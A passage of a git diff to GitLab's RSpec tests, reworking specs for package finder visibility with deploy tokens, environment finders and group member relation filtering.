+ project2.send("add_#{user_role}", user)
+ end
+
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ end
+
+ it_behaves_like params[:shared_example_name]
+ end
end
- with_them do
- before do
- unless user_role == :anonymous
- group.send("add_#{user_role}", user)
- subgroup.send("add_#{user_role}", user)
- project1.send("add_#{user_role}", user)
- project2.send("add_#{user_role}", user)
+ context 'with a group deploy token' do
+ let_it_be(:user) { create(:deploy_token, :group, read_package_registry: true) }
+ let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: user, group: group) }
+
+ shared_examples 'handling all conditions' do
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both packages'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
+ end
+
+ with_them do
+ before do
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ end
+
+ it_behaves_like params[:shared_example_name]
+ end
+ end
+
+ context 'with packages_finder_helper_deploy_token enabled' do
+ before do
+ expect(group).not_to receive(:all_projects)
end
- project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
- subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
- project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ it_behaves_like 'handling all conditions'
end
- it_behaves_like params[:shared_example_name]
+ context 'with packages_finder_helper_deploy_token disabled' do
+ before do
+ stub_feature_flags(packages_finder_helper_deploy_token: false)
+ expect(group).to receive(:all_projects).and_call_original
+ end
+
+ it_behaves_like 'handling all conditions'
+ end
end
end
@@ -121,41 +166,87 @@ RSpec.describe ::Packages::FinderHelper do
it { is_expected.to be_empty }
end
- where(:group_visibility, :subgroup_visibility, :project2_visibility, :user_role, :shared_example_name) do
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :maintainer | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :developer | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :guest | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :anonymous | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :maintainer | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :developer | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :guest | 'returning project1'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :anonymous | 'returning project1'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both projects'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both projects'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning project1'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning project1'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both projects'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both projects'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning no project'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning no project'
+ context 'with a user' do
+ let_it_be(:user) { create(:user) }
+
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :user_role, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :maintainer | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :developer | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :guest | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :anonymous | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :maintainer | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :developer | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :guest | 'returning project1'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :anonymous | 'returning project1'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both projects'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both projects'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning project1'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning project1'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both projects'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both projects'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning no project'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning no project'
+ end
+
+ with_them do
+ before do
+ unless user_role == :anonymous
+ group.send("add_#{user_role}", user)
+ subgroup.send("add_#{user_role}", user)
+ project1.send("add_#{user_role}", user)
+ project2.send("add_#{user_role}", user)
+ end
+
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ end
+
+ it_behaves_like params[:shared_example_name]
+ end
end
- with_them do
- before do
- unless user_role == :anonymous
- group.send("add_#{user_role}", user)
- subgroup.send("add_#{user_role}", user)
- project1.send("add_#{user_role}", user)
- project2.send("add_#{user_role}", user)
+ context 'with a group deploy token' do
+ let_it_be(:user) { create(:deploy_token, :group, read_package_registry: true) }
+ let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: user, group: group) }
+
+ shared_examples 'handling all conditions' do
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both projects'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
end
- project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
- subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
- project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ with_them do
+ before do
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ end
+
+ it_behaves_like params[:shared_example_name]
+ end
end
- it_behaves_like params[:shared_example_name]
+ context 'with packages_finder_helper_deploy_token enabled' do
+ before do
+ expect(group).not_to receive(:all_projects)
+ end
+
+ it_behaves_like 'handling all conditions'
+ end
+
+ context 'with packages_finder_helper_deploy_token disabled' do
+ before do
+ stub_feature_flags(packages_finder_helper_deploy_token: false)
+ expect(group).to receive(:all_projects).and_call_original
+ end
+
+ it_behaves_like 'handling all conditions'
+ end
end
end
end
diff --git a/spec/finders/design_management/designs_finder_spec.rb b/spec/finders/design_management/designs_finder_spec.rb
index feb78a4bc4b..631f23b7312 100644
--- a/spec/finders/design_management/designs_finder_spec.rb
+++ b/spec/finders/design_management/designs_finder_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe DesignManagement::DesignsFinder do
let_it_be(:design1) { create(:design, :with_file, issue: issue, versions_count: 1, relative_position: 3) }
let_it_be(:design2) { create(:design, :with_file, issue: issue, versions_count: 1, relative_position: 2) }
let_it_be(:design3) { create(:design, :with_file, issue: issue, versions_count: 1, relative_position: 1) }
+
let(:params) { {} }
subject(:designs) { described_class.new(issue, user, params).execute }
diff --git a/spec/finders/design_management/versions_finder_spec.rb b/spec/finders/design_management/versions_finder_spec.rb
index 6a56ccb10b8..0d606ef46f1 100644
--- a/spec/finders/design_management/versions_finder_spec.rb
+++ b/spec/finders/design_management/versions_finder_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe DesignManagement::VersionsFinder do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:design_1) { create(:design, :with_file, issue: issue, versions_count: 1) }
let_it_be(:design_2) { create(:design, :with_file, issue: issue, versions_count: 1) }
+
let(:version_1) { design_1.versions.first }
let(:version_2) { design_2.versions.first }
let(:design_or_collection) { issue.design_collection }
diff --git a/spec/finders/environments_by_deployments_finder_spec.rb b/spec/finders/environments_by_deployments_finder_spec.rb
new file mode 100644
index 00000000000..f5fcc4ef72a
--- /dev/null
+++ b/spec/finders/environments_by_deployments_finder_spec.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe EnvironmentsByDeploymentsFinder do
+ let(:project) { create(:project, :repository) }
+ let(:user) { project.creator }
+ let(:environment) { create(:environment, :available, project: project) }
+
+ before do
+ project.add_maintainer(user)
+ end
+
+ describe '#execute' do
+ context 'tagged deployment' do
+ let(:environment_two) { create(:environment, project: project) }
+ # Environments need to include commits, so rewind two commits to fit
+ let(:commit) { project.commit('HEAD~2') }
+
+ before do
+ create(:deployment, :success, environment: environment, ref: 'v1.0.0', tag: true, sha: project.commit.id)
+ create(:deployment, :success, environment: environment_two, ref: 'v1.1.0', tag: true, sha: project.commit('HEAD~1').id)
+ end
+
+ it 'returns environment when with_tags is set' do
+ expect(described_class.new(project, user, ref: 'master', commit: commit, with_tags: true).execute)
+ .to contain_exactly(environment, environment_two)
+ end
+
+ it 'does not return environment when no with_tags is set' do
+ expect(described_class.new(project, user, ref: 'master', commit: commit).execute)
+ .to be_empty
+ end
+
+ it 'does not return environment when commit is not part of deployment' do
+ expect(described_class.new(project, user, ref: 'master', commit: project.commit('feature')).execute)
+ .to be_empty
+ end
+
+ # We expect two Gitaly calls: FindCommit, CommitIsAncestor
+ # This tests to ensure we don't call one CommitIsAncestor per environment
+ it 'only calls Gitaly twice when multiple environments are present', :request_store do
+ expect do
+ result = described_class.new(project, user, ref: 'master', commit: commit, with_tags: true, find_latest: true).execute
+
+ expect(result).to contain_exactly(environment_two)
+ end.to change { Gitlab::GitalyClient.get_request_count }.by(2)
+ end
+ end
+
+ context 'branch deployment' do
+ before do
+ create(:deployment, :success, environment: environment, ref: 'master', sha: project.commit.id)
+ end
+
+ it 'returns environment when ref is set' do
+ expect(described_class.new(project, user, ref: 'master', commit: project.commit).execute)
+ .to contain_exactly(environment)
+ end
+
+ it 'does not environment when ref is different' do
+ expect(described_class.new(project, user, ref: 'feature', commit: project.commit).execute)
+ .to be_empty
+ end
+
+ it 'does not return environment when commit is not part of deployment' do
+ expect(described_class.new(project, user, ref: 'master', commit: project.commit('feature')).execute)
+ .to be_empty
+ end
+
+ it 'returns environment when commit constraint is not set' do
+ expect(described_class.new(project, user, ref: 'master').execute)
+ .to contain_exactly(environment)
+ end
+ end
+
+ context 'commit deployment' do
+ before do
+ create(:deployment, :success, environment: environment, ref: 'master', sha: project.commit.id)
+ end
+
+ it 'returns environment' do
+ expect(described_class.new(project, user, commit: project.commit).execute)
+ .to contain_exactly(environment)
+ end
+ end
+
+ context 'recently updated' do
+ context 'when last deployment to environment is the most recent one' do
+ before do
+ create(:deployment, :success, environment: environment, ref: 'feature')
+ end
+
+ it 'finds recently updated environment' do
+ expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
+ .to contain_exactly(environment)
+ end
+ end
+
+ context 'when last deployment to environment is not the most recent' do
+ before do
+ create(:deployment, :success, environment: environment, ref: 'feature')
+ create(:deployment, :success, environment: environment, ref: 'master')
+ end
+
+ it 'does not find environment' do
+ expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
+ .to be_empty
+ end
+ end
+
+ context 'when there are two environments that deploy to the same branch' do
+ let(:second_environment) { create(:environment, project: project) }
+
+ before do
+ create(:deployment, :success, environment: environment, ref: 'feature')
+ create(:deployment, :success, environment: second_environment, ref: 'feature')
+ end
+
+ it 'finds both environments' do
+ expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
+ .to contain_exactly(environment, second_environment)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/finders/environments_finder_spec.rb b/spec/finders/environments_finder_spec.rb
index fd714ab9a8f..c2022331ad9 100644
--- a/spec/finders/environments_finder_spec.rb
+++ b/spec/finders/environments_finder_spec.rb
@@ -12,150 +12,36 @@ RSpec.describe EnvironmentsFinder do
end
describe '#execute' do
- context 'tagged deployment' do
- let(:environment_two) { create(:environment, project: project) }
- # Environments need to include commits, so rewind two commits to fit
- let(:commit) { project.commit('HEAD~2') }
-
- before do
- create(:deployment, :success, environment: environment, ref: 'v1.0.0', tag: true, sha: project.commit.id)
- create(:deployment, :success, environment: environment_two, ref: 'v1.1.0', tag: true, sha: project.commit('HEAD~1').id)
- end
-
- it 'returns environment when with_tags is set' do
- expect(described_class.new(project, user, ref: 'master', commit: commit, with_tags: true).execute)
- .to contain_exactly(environment, environment_two)
- end
-
- it 'does not return environment when no with_tags is set' do
- expect(described_class.new(project, user, ref: 'master', commit: commit).execute)
- .to be_empty
- end
-
- it 'does not return environment when commit is not part of deployment' do
- expect(described_class.new(project, user, ref: 'master', commit: project.commit('feature')).execute)
- .to be_empty
- end
-
- # We expect two Gitaly calls: FindCommit, CommitIsAncestor
- # This tests to ensure we don't call one CommitIsAncestor per environment
- it 'only calls Gitaly twice when multiple environments are present', :request_store do
- expect do
- result = described_class.new(project, user, ref: 'master', commit: commit, with_tags: true, find_latest: true).execute
-
- expect(result).to contain_exactly(environment_two)
- end.to change { Gitlab::GitalyClient.get_request_count }.by(2)
- end
- end
-
- context 'branch deployment' do
- before do
- create(:deployment, :success, environment: environment, ref: 'master', sha: project.commit.id)
- end
-
- it 'returns environment when ref is set' do
- expect(described_class.new(project, user, ref: 'master', commit: project.commit).execute)
- .to contain_exactly(environment)
- end
-
- it 'does not environment when ref is different' do
- expect(described_class.new(project, user, ref: 'feature', commit: project.commit).execute)
- .to be_empty
- end
-
- it 'does not return environment when commit is not part of deployment' do
- expect(described_class.new(project, user, ref: 'master', commit: project.commit('feature')).execute)
- .to be_empty
- end
-
- it 'returns environment when commit constraint is not set' do
- expect(described_class.new(project, user, ref: 'master').execute)
- .to contain_exactly(environment)
- end
- end
-
- context 'commit deployment' do
- before do
- create(:deployment, :success, environment: environment, ref: 'master', sha: project.commit.id)
- end
-
- it 'returns environment' do
- expect(described_class.new(project, user, commit: project.commit).execute)
- .to contain_exactly(environment)
- end
- end
-
- context 'recently updated' do
- context 'when last deployment to environment is the most recent one' do
- before do
- create(:deployment, :success, environment: environment, ref: 'feature')
- end
-
- it 'finds recently updated environment' do
- expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
- .to contain_exactly(environment)
- end
- end
-
- context 'when last deployment to environment is not the most recent' do
- before do
- create(:deployment, :success, environment: environment, ref: 'feature')
- create(:deployment, :success, environment: environment, ref: 'master')
- end
-
- it 'does not find environment' do
- expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
- .to be_empty
- end
- end
-
- context 'when there are two environments that deploy to the same branch' do
- let(:second_environment) { create(:environment, project: project) }
-
- before do
- create(:deployment, :success, environment: environment, ref: 'feature')
- create(:deployment, :success, environment: second_environment, ref: 'feature')
- end
-
- it 'finds both environments' do
- expect(described_class.new(project, user, ref: 'feature', recently_updated: true).execute)
- .to contain_exactly(environment, second_environment)
- end
- end
- end
- end
-
- describe '#find' do
context 'with states parameter' do
let(:stopped_environment) { create(:environment, :stopped, project: project) }
it 'returns environments with the requested state' do
- result = described_class.new(project, user, states: 'available').find
+ result = described_class.new(project, user, states: 'available').execute
expect(result).to contain_exactly(environment)
end
it 'returns environments with any of the requested states' do
- result = described_class.new(project, user, states: %w(available stopped)).find
+ result = described_class.new(project, user, states: %w(available stopped)).execute
expect(result).to contain_exactly(environment, stopped_environment)
end
it 'raises exception when requested state is invalid' do
- expect { described_class.new(project, user, states: %w(invalid stopped)).find }.to(
+ expect { described_class.new(project, user, states: %w(invalid stopped)).execute }.to(
raise_error(described_class::InvalidStatesError, 'Requested states are invalid')
)
end
context 'works with symbols' do
it 'returns environments with the requested state' do
- result = described_class.new(project, user, states: :available).find
+ result = described_class.new(project, user, states: :available).execute
expect(result).to contain_exactly(environment)
end
it 'returns environments with any of the requested states' do
- result = described_class.new(project, user, states: [:available, :stopped]).find
+ result = described_class.new(project, user, states: [:available, :stopped]).execute
expect(result).to contain_exactly(environment, stopped_environment)
end
@@ -167,7 +53,7 @@ RSpec.describe EnvironmentsFinder do
let(:environment3) { create(:environment, :available, name: 'test3', project: project) }
it 'searches environments by name and state' do
- result = described_class.new(project, user, search: 'test', states: :available).find
+ result = described_class.new(project, user, search: 'test', states: :available).execute
expect(result).to contain_exactly(environment3)
end
diff --git a/spec/finders/group_members_finder_spec.rb b/spec/finders/group_members_finder_spec.rb
index a87a05d4408..3238f6744f7 100644
--- a/spec/finders/group_members_finder_spec.rb
+++ b/spec/finders/group_members_finder_spec.rb
@@ -3,174 +3,180 @@
require 'spec_helper'
RSpec.describe GroupMembersFinder, '#execute' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let(:deeper_nested_group) { create(:group, parent: nested_group) }
- let(:user1) { create(:user) }
- let(:user2) { create(:user) }
- let(:user3) { create(:user) }
- let(:user4) { create(:user) }
- let(:user5) { create(:user, :two_factor_via_otp) }
-
- it 'returns members for top-level group' do
- member1 = group.add_maintainer(user1)
- member2 = group.add_maintainer(user2)
- member3 = group.add_maintainer(user3)
- create(:group_member, :minimal_access, user: create(:user), source: group)
-
- result = described_class.new(group).execute
-
- expect(result.to_a).to match_array([member3, member2, member1])
+ let(:group) { create(:group) }
+ let(:sub_group) { create(:group, parent: group) }
+ let(:sub_sub_group) { create(:group, parent: sub_group) }
+ let(:user1) { create(:user) }
+ let(:user2) { create(:user) }
+ let(:user3) { create(:user) }
+ let(:user4) { create(:user) }
+ let(:user5) { create(:user, :two_factor_via_otp) }
+
+ let(:groups) do
+ {
+ group: group,
+ sub_group: sub_group,
+ sub_sub_group: sub_sub_group
+ }
end
- it 'returns members & inherited members for nested group by default' do
- group.add_developer(user2)
- nested_group.request_access(user4)
- member1 = group.add_maintainer(user1)
- member3 = nested_group.add_maintainer(user2)
- member4 = nested_group.add_maintainer(user3)
-
- result = described_class.new(nested_group).execute
-
- expect(result.to_a).to match_array([member1, member3, member4])
+ context 'relations' do
+ let!(:members) do
+ {
+ user1_sub_sub_group: create(:group_member, :maintainer, group: sub_sub_group, user: user1),
+ user1_sub_group: create(:group_member, :developer, group: sub_group, user: user1),
+ user1_group: create(:group_member, :reporter, group: group, user: user1),
+ user2_sub_sub_group: create(:group_member, :reporter, group: sub_sub_group, user: user2),
+ user2_sub_group: create(:group_member, :developer, group: sub_group, user: user2),
+ user2_group: create(:group_member, :maintainer, group: group, user: user2),
+ user3_sub_sub_group: create(:group_member, :developer, group: sub_sub_group, user: user3, expires_at: 1.day.from_now),
+ user3_sub_group: create(:group_member, :developer, group: sub_group, user: user3, expires_at: 2.days.from_now),
+ user3_group: create(:group_member, :reporter, group: group, user: user3),
+ user4_sub_sub_group: create(:group_member, :reporter, group: sub_sub_group, user: user4),
+ user4_sub_group: create(:group_member, :developer, group: sub_group, user: user4, expires_at: 1.day.from_now),
+ user4_group: create(:group_member, :developer, group: group, user: user4, expires_at: 2.days.from_now)
+ }
+ end
+
+ using RSpec::Parameterized::TableSyntax
+
+ where(:subject_relations, :subject_group, :expected_members) do
+ nil | :group | [:user1_group, :user2_group, :user3_group, :user4_group]
+ [:direct] | :group | [:user1_group, :user2_group, :user3_group, :user4_group]
+ [:inherited] | :group | []
+ [:descendants] | :group | [:user1_sub_sub_group, :user2_sub_group, :user3_sub_group, :user4_sub_group]
+ [:direct, :inherited] | :group | [:user1_group, :user2_group, :user3_group, :user4_group]
+ [:direct, :descendants] | :group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:descendants, :inherited] | :group | [:user1_sub_sub_group, :user2_sub_group, :user3_sub_group, :user4_sub_group]
+ [:direct, :descendants, :inherited] | :group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ nil | :sub_group | [:user1_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:direct] | :sub_group | [:user1_sub_group, :user2_sub_group, :user3_sub_group, :user4_sub_group]
+ [:inherited] | :sub_group | [:user1_group, :user2_group, :user3_group, :user4_group]
+ [:descendants] | :sub_group | [:user1_sub_sub_group, :user2_sub_sub_group, :user3_sub_sub_group, :user4_sub_sub_group]
+ [:direct, :inherited] | :sub_group | [:user1_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:direct, :descendants] | :sub_group | [:user1_sub_sub_group, :user2_sub_group, :user3_sub_group, :user4_sub_group]
+ [:descendants, :inherited] | :sub_group | [:user1_sub_sub_group, :user2_group, :user3_sub_sub_group, :user4_group]
+ [:direct, :descendants, :inherited] | :sub_group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ nil | :sub_sub_group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:direct] | :sub_sub_group | [:user1_sub_sub_group, :user2_sub_sub_group, :user3_sub_sub_group, :user4_sub_sub_group]
+ [:inherited] | :sub_sub_group | [:user1_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:descendants] | :sub_sub_group | []
+ [:direct, :inherited] | :sub_sub_group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:direct, :descendants] | :sub_sub_group | [:user1_sub_sub_group, :user2_sub_sub_group, :user3_sub_sub_group, :user4_sub_sub_group]
+ [:descendants, :inherited] | :sub_sub_group | [:user1_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ [:direct, :descendants, :inherited] | :sub_sub_group | [:user1_sub_sub_group, :user2_group, :user3_sub_group, :user4_group]
+ end
+
+ with_them do
+ it 'returns correct members' do
+ result = if subject_relations
+ described_class.new(groups[subject_group]).execute(include_relations: subject_relations)
+ else
+ described_class.new(groups[subject_group]).execute
+ end
+
+ expect(result.to_a).to match_array(expected_members.map { |name| members[name] })
+ end
+ end
end
- it 'does not return inherited members for nested group if requested' do
- group.add_maintainer(user1)
- group.add_developer(user2)
- member2 = nested_group.add_maintainer(user2)
- member3 = nested_group.add_maintainer(user3)
+ context 'search' do
+ it 'returns searched members if requested' do
+ group.add_maintainer(user2)
+ group.add_developer(user3)
+ member = group.add_maintainer(user1)
- result = described_class.new(nested_group).execute(include_relations: [:direct])
+ result = described_class.new(group, params: { search: user1.name }).execute
- expect(result.to_a).to match_array([member2, member3])
- end
+ expect(result.to_a).to match_array([member])
+ end
- it 'returns only inherited members for nested group if requested' do
- group.add_developer(user2)
- nested_group.request_access(user4)
- member1 = group.add_maintainer(user1)
- nested_group.add_maintainer(user2)
- nested_group.add_maintainer(user3)
+ it 'returns nothing if search only in inherited relation' do
+ group.add_maintainer(user2)
+ group.add_developer(user3)
+ group.add_maintainer(user1)
- result = described_class.new(nested_group).execute(include_relations: [:inherited])
+ result = described_class.new(group, params: { search: user1.name }).execute(include_relations: [:inherited])
- expect(result.to_a).to match_array([member1])
- end
+ expect(result.to_a).to match_array([])
+ end
- it 'does not return nil if `inherited only` relation is requested on root group' do
- group.add_developer(user2)
+ it 'returns searched member only from sub_group if search only in inherited relation' do
+ group.add_maintainer(user2)
+ group.add_developer(user3)
+ sub_group.add_maintainer(create(:user, name: user1.name))
+ member = group.add_maintainer(user1)
- result = described_class.new(group).execute(include_relations: [:inherited])
+ result = described_class.new(sub_group, params: { search: member.user.name }).execute(include_relations: [:inherited])
- expect(result).not_to be_nil
+ expect(result.to_a).to contain_exactly(member)
+ end
end
- it 'returns members for descendant groups if requested' do
- member1 = group.add_maintainer(user2)
- member2 = group.add_maintainer(user1)
- nested_group.add_maintainer(user2)
- member3 = nested_group.add_maintainer(user3)
- member4 = nested_group.add_maintainer(user4)
+ context 'filter by two-factor' do
+ it 'returns members with two-factor auth if requested by owner' do
+ group.add_owner(user2)
+ group.add_maintainer(user1)
+ member = group.add_maintainer(user5)
- result = described_class.new(group).execute(include_relations: [:direct, :descendants])
+ result = described_class.new(group, user2, params: { two_factor: 'enabled' }).execute
- expect(result.to_a).to match_array([member1, member2, member3, member4])
- end
+ expect(result.to_a).to contain_exactly(member)
+ end
- it 'returns searched members if requested' do
- group.add_maintainer(user2)
- group.add_developer(user3)
- member = group.add_maintainer(user1)
+ it 'returns members without two-factor auth if requested by owner' do
+ member1 = group.add_owner(user2)
+ member2 = group.add_maintainer(user1)
+ member_with_2fa = group.add_maintainer(user5)
- result = described_class.new(group, params: { search: user1.name }).execute
+ result = described_class.new(group, user2, params: { two_factor: 'disabled' }).execute
- expect(result.to_a).to match_array([member])
- end
+ expect(result.to_a).not_to include(member_with_2fa)
+ expect(result.to_a).to match_array([member1, member2])
+ end
- it 'returns nothing if search only in inherited relation' do
- group.add_maintainer(user2)
- group.add_developer(user3)
- group.add_maintainer(user1)
+ it 'returns direct members with two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ group.add_maintainer(user2)
+ sub_group.add_maintainer(user3)
+ member_with_2fa = sub_group.add_maintainer(user5)
- result = described_class.new(group, params: { search: user1.name }).execute(include_relations: [:inherited])
+ result = described_class.new(sub_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:direct])
- expect(result.to_a).to match_array([])
- end
+ expect(result.to_a).to match_array([member_with_2fa])
+ end
- it 'returns searched member only from nested_group if search only in inherited relation' do
- group.add_maintainer(user2)
- group.add_developer(user3)
- nested_group.add_maintainer(create(:user, name: user1.name))
- member = group.add_maintainer(user1)
+ it 'returns inherited members with two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ member_with_2fa = group.add_maintainer(user5)
+ sub_group.add_maintainer(user2)
+ sub_group.add_maintainer(user3)
- result = described_class.new(nested_group, params: { search: member.user.name }).execute(include_relations: [:inherited])
+ result = described_class.new(sub_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:inherited])
- expect(result.to_a).to contain_exactly(member)
- end
-
- it 'returns members with two-factor auth if requested by owner' do
- group.add_owner(user2)
- group.add_maintainer(user1)
- member = group.add_maintainer(user5)
-
- result = described_class.new(group, user2, params: { two_factor: 'enabled' }).execute
+ expect(result.to_a).to match_array([member_with_2fa])
+ end
- expect(result.to_a).to contain_exactly(member)
- end
-
- it 'returns members without two-factor auth if requested by owner' do
- member1 = group.add_owner(user2)
- member2 = group.add_maintainer(user1)
- member_with_2fa = group.add_maintainer(user5)
+ it 'returns direct members without two-factor auth if requested by owner' do
+ group.add_owner(user1)
+ group.add_maintainer(user2)
+ member3 = sub_group.add_maintainer(user3)
+ sub_group.add_maintainer(user5)
- result = described_class.new(group, user2, params: { two_factor: 'disabled' }).execute
+ result = described_class.new(sub_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:direct])
- expect(result.to_a).not_to include(member_with_2fa)
- expect(result.to_a).to match_array([member1, member2])
- end
-
- it 'returns direct members with two-factor auth if requested by owner' do
- group.add_owner(user1)
- group.add_maintainer(user2)
- nested_group.add_maintainer(user3)
- member_with_2fa = nested_group.add_maintainer(user5)
-
- result = described_class.new(nested_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:direct])
-
- expect(result.to_a).to match_array([member_with_2fa])
- end
-
- it 'returns inherited members with two-factor auth if requested by owner' do
- group.add_owner(user1)
- member_with_2fa = group.add_maintainer(user5)
- nested_group.add_maintainer(user2)
- nested_group.add_maintainer(user3)
-
- result = described_class.new(nested_group, user1, params: { two_factor: 'enabled' }).execute(include_relations: [:inherited])
-
- expect(result.to_a).to match_array([member_with_2fa])
- end
-
- it 'returns direct members without two-factor auth if requested by owner' do
- group.add_owner(user1)
- group.add_maintainer(user2)
- member3 = nested_group.add_maintainer(user3)
- nested_group.add_maintainer(user5)
-
- result = described_class.new(nested_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:direct])
-
- expect(result.to_a).to match_array([member3])
- end
+ expect(result.to_a).to match_array([member3])
+ end
- it 'returns inherited members without two-factor auth if requested by owner' do
- member1 = group.add_owner(user1)
- group.add_maintainer(user5)
- nested_group.add_maintainer(user2)
- nested_group.add_maintainer(user3)
+ it 'returns inherited members without two-factor auth if requested by owner' do
+ member1 = group.add_owner(user1)
+ group.add_maintainer(user5)
+ sub_group.add_maintainer(user2)
+ sub_group.add_maintainer(user3)
